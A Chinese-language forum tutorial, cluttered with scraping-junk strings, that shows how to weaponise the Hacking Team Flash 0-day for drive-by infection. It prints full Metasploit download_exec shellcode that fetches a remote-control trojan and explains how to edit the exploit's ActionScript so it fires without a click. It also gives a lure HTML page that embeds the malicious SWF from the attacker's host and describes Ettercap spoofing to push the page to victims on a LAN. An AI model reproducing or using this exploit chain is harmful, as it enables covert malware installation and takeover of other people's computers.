flash 0day之手工代码修改制作下载者实例入侵演示

admin

三、flash 0day之手工代码修改制作下载者实例入侵演示

利用到的工具：

* d) s6 j2 |+ ]

Msf

2 g; z1 |" ?0 X! Q5 N/ ^* `& V

Ettercap $ q/ r- T0 P3 E1 w) r

8 c( @! r& D$ {& A Adobe Flash CS6

, E+ I8 |. s* w8 |

0 h( f( r' V2 Q0 M$ d$ z Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份

4 w* i& [& W( H+ f* {' N 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

( b9 M4 B0 S0 @. w, e) {1 J" ] 如图： , f& s2 Y! x- J$ b2 ?4 _

- K5 L x( e' h$ M/ i7 R2 S/ h4 i( ~  

# r# j% V( `: ?. G- ~. z

 

! w3 c$ c3 j* \8 y" L

然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:

  9 ?% F+ y4 H: g3 ]3 ~8 V6 B9 n

  2 P8 P+ Q* x$ L) c

! R: u3 d' N4 E3 Z' |

6 V) f" ~; E) y2 _) i 然后执行generate -t dword生成shellcode，如下： ; O3 g) v, z+ |+ Z4 U% q6 Z! d

 

7 n) E, i, m+ G# g! u1 w4 G' b2 g

. Y. ?* E# _1 u5 r" { 复制代码到文本下便于我们一会编辑flash exp，如下： " X% F# y# I" J2 d" B2 y

7 n3 [/ B1 _. d* G4 [

. F: ~" m- q. J) h% w 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,

0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, K: e' T! c( V+ ^# {" v3 s4 }

7 M4 I. j( A+ x* s, l; j3 g) S

2 [. d* c2 x b& ?1 k 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,

+ l* [* M- i& R

0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 6 u& ~/ ~, U) w. `# Q" i

m% V! O8 z6 D

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,

# \1 }! V! \3 s1 l c 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,

1 g- n9 o: k: i2 F. ?- j' n

0 D Q" |0 u3 G 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 6 v: E3 \6 I! V

0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,

4 T+ c: @, k; N 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,

) x8 p2 Q# w; r i, V2 R

0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 0 n8 y5 r9 I: q+ [5 j: o: w

0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 7 w8 k, i: h& I

- W! m. I+ X6 Q* R; \ J! ~1 e 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 3 N4 m$ x: S% [" X) y( J; s; b( S

! R5 r- z5 k7 _ v# M8 L

8 @! T6 g: P0 y2 t7 _5 j s 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, * ^2 q5 j/ Q9 y! v* a# r

0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

( K5 D5 T- E( {8 m   # o" O# O& _1 a

/ z% k: n L r3 A, Y' \) v. K6 Z+ y   . A" w! l! H Q H% k5 a# J

下面我们来修改flash 0day exp，需要修改三个文件，分别为：

  % K4 F5 X8 {- }& y, ]1 n

1 S- _1 r q6 w7 ^$ Y 先修改ShellWin32.as，部分源代码如图： " Z8 L* p7 i5 F3 ]5 o( I# b

) G' a# G$ S# G+ X- r2 M, i. O9 f

  ; P: X0 }' L' O* B) L, N* N, R; @- p

我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：

7 A$ a! S; Z* P, A2 F+ z

  S5 Y! E* E* L2 b# t) O

' f' F# s9 |. ^6 e) d/ d7 r

. Q$ L+ K: q7 l6 m8 g% q 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： 7 z; ?5 y9 g9 [/ N% s# q

 

换行在后面加一句TryExpl();注意是l不是数字1，然后如图： % f P: [: z2 f0 z, `1 w5 {

  0 z3 P* Y4 z- G

& p) ]# { `& @5 M( n3 b

# J/ T: [* u. x7 m" m& V4 {3 W: d   0 g2 c' u/ D6 \( D2 A5 k! @

6 t7 Q5 V+ @8 G  

! P; G, O4 J; y8 T

: ^1 N% p& @, \6 h; j8 k/ v 然后点保存，下面我们来编译一下，打开 ) g" W5 t1 y8 h6 r

% b1 `- t, O+ m

: S" D0 d- \1 U1 L exp1.fla然后点文件-发布，看看编译没错误

, v$ E( j. j9 ?3 P

 

  4 q$ V6 X/ C& B+ D, K9 ?1 P& A

7 G U+ b3 K2 {4 E2 ~   7 ^7 N5 Q: ]- z5 D# e; K

& ~9 }; `: ]5 V, P   / a O8 d3 Z3 `% L% y4 M

* B5 b y) }/ V. N# g/ p

( V/ x$ F5 M! L% u 然后我们把生成的

exp1.swf丢到kailinux 的/var/www/html下： 3 S( m) p$ M }9 J

. o4 G1 g& L1 |' I8 G3 p! i8 S

! E E1 Z% n l; e% Y" o" N6 R: l 然后把这段代码好好编辑一下

  ! ?4 T! s0 Z) t

2 Q( q" P: X& C2 c- K5 l

  . S* Z2 p2 `+ e

) J$ X* N3 g( N$ E# {

 

" ^1 O' h0 Q1 }+ L7 n {

' q; N& R( u I+ ~. X   8 R4 E1 B5 U4 R2 o g

% V D& R3 Q4 c: b9 q4 R4 a   : u4 E* p$ M" G$ w& N, ?, d

6 b, J" }) d2 i& m- ], ]

  ' [& [2 L& Q7 `. ^/ O3 v

<!DOCTYPE html> 9 y- D* m, D5 Y, t

3 f6 U( _; M; C3 \. q* r+ h, B

3 k8 p$ J: I0 G7 Z <html>

0 ]/ k# ?; W8 i& | <head>

* J! j' N( v5 `

<meta http-equiv="Content-Type" content="text/html; 0 [. ~; C% q: X, ]4 R* w

. h) k# t$ p$ [: g& T

charset=utf-8"/> 9 l5 X$ o) o3 p$ S$ a; q& M2 L

</head>

& L8 W) ?# R8 Q; ~

# u+ }% @3 h- F) R <body>

/ O! z- P5 j% L' J8 z! Q

<h2> Please wait, the requested page is loading...</h2>

- W! h7 g1 q& }: h, a& T3 z4 A! I <br> 6 v+ }" C n- j/ a5 l

9 Q: Z0 o. M: v$ m' k, l

<OBJECT

( V2 R$ e5 Y$ u/ t% N, `% j

+ @) Y8 J6 ]0 I- I classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

VALUE="http://192.168.0.109/exp1.swf"></OBJECT>

! g( ]5 H$ H' H$ P2 U, }1 b </body>

+ n! v, ]7 {: L' m2 G <script> $ P8 @" O" g0 x! J8 Z" J

9 R I6 n. f# f) q" i# o u     setTimeout(function () {

8 }* z, h0 w0 N9 P6 {          3 q# o6 b& g1 o% @ M ?

8 @' _7 D3 \* i$ q: X0 ?9 s/ H/ [ window.location.reload();

    }, 10000); 8 b6 L/ w% d, b x# K7 |& h

2 w( J0 O( H+ d9 {

" J" k# ?; P+ y! L r5 k% s4 K! y! _ B; q  

</script>

2 H% C, r: a3 N) m

9 F3 J3 P% ~4 l* m+ t. [+ T </html> ! H; u9 E0 p1 h! c

2 `* C3 I; u6 f6 b1 n

 

$ |$ ~/ x0 V4 Z: x' z

V! X: V% b3 ~' k {7 p8 K" f 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： $ |. H) N4 ]& k' U0 M

/ e# B7 K; r* }7 x3 K

 

  ; H( h: Z0 T0 l5 v+ E

& n" O# D' B }9 h3 U, j* @0 L" c   # W* u N. h6 [' s$ t. }

" G5 h+ { p' Z; z9 `  

; N1 W: A5 \. k8 O7 }# \

# D- o3 M" E8 k* o+ ^$ {. S) J: f1 i   / C5 [% x% e& u6 |

下面我们用ettercap欺骗如图： + J: o, v6 Z# z3 d9 `

" `# t( z! }7 B' G5 y G$ {

  0 {! u& G; j5 z% Z# w

- l: w+ j1 |# B) s E# b

  9 @4 M. p$ U1 R5 Q0 h

下面我们随便访问个网站看看： 7 n1 f4 F( i, t' z6 b7 R0 ~9 e9 i

K; n0 O6 s8 R$ q: }- X6 D) ~5 B- c. Z

我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： |8 K/ T6 y8 q' e# n

  + e$ G# u% Z3 r9 J% Y) {; c) v: u( @1 v

# D% R3 d% A; J5 C' [" W/ f 我们看另一台，

6 E W6 i5 A; E3 e$ u

提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 ! g& d! q, V; l' M( K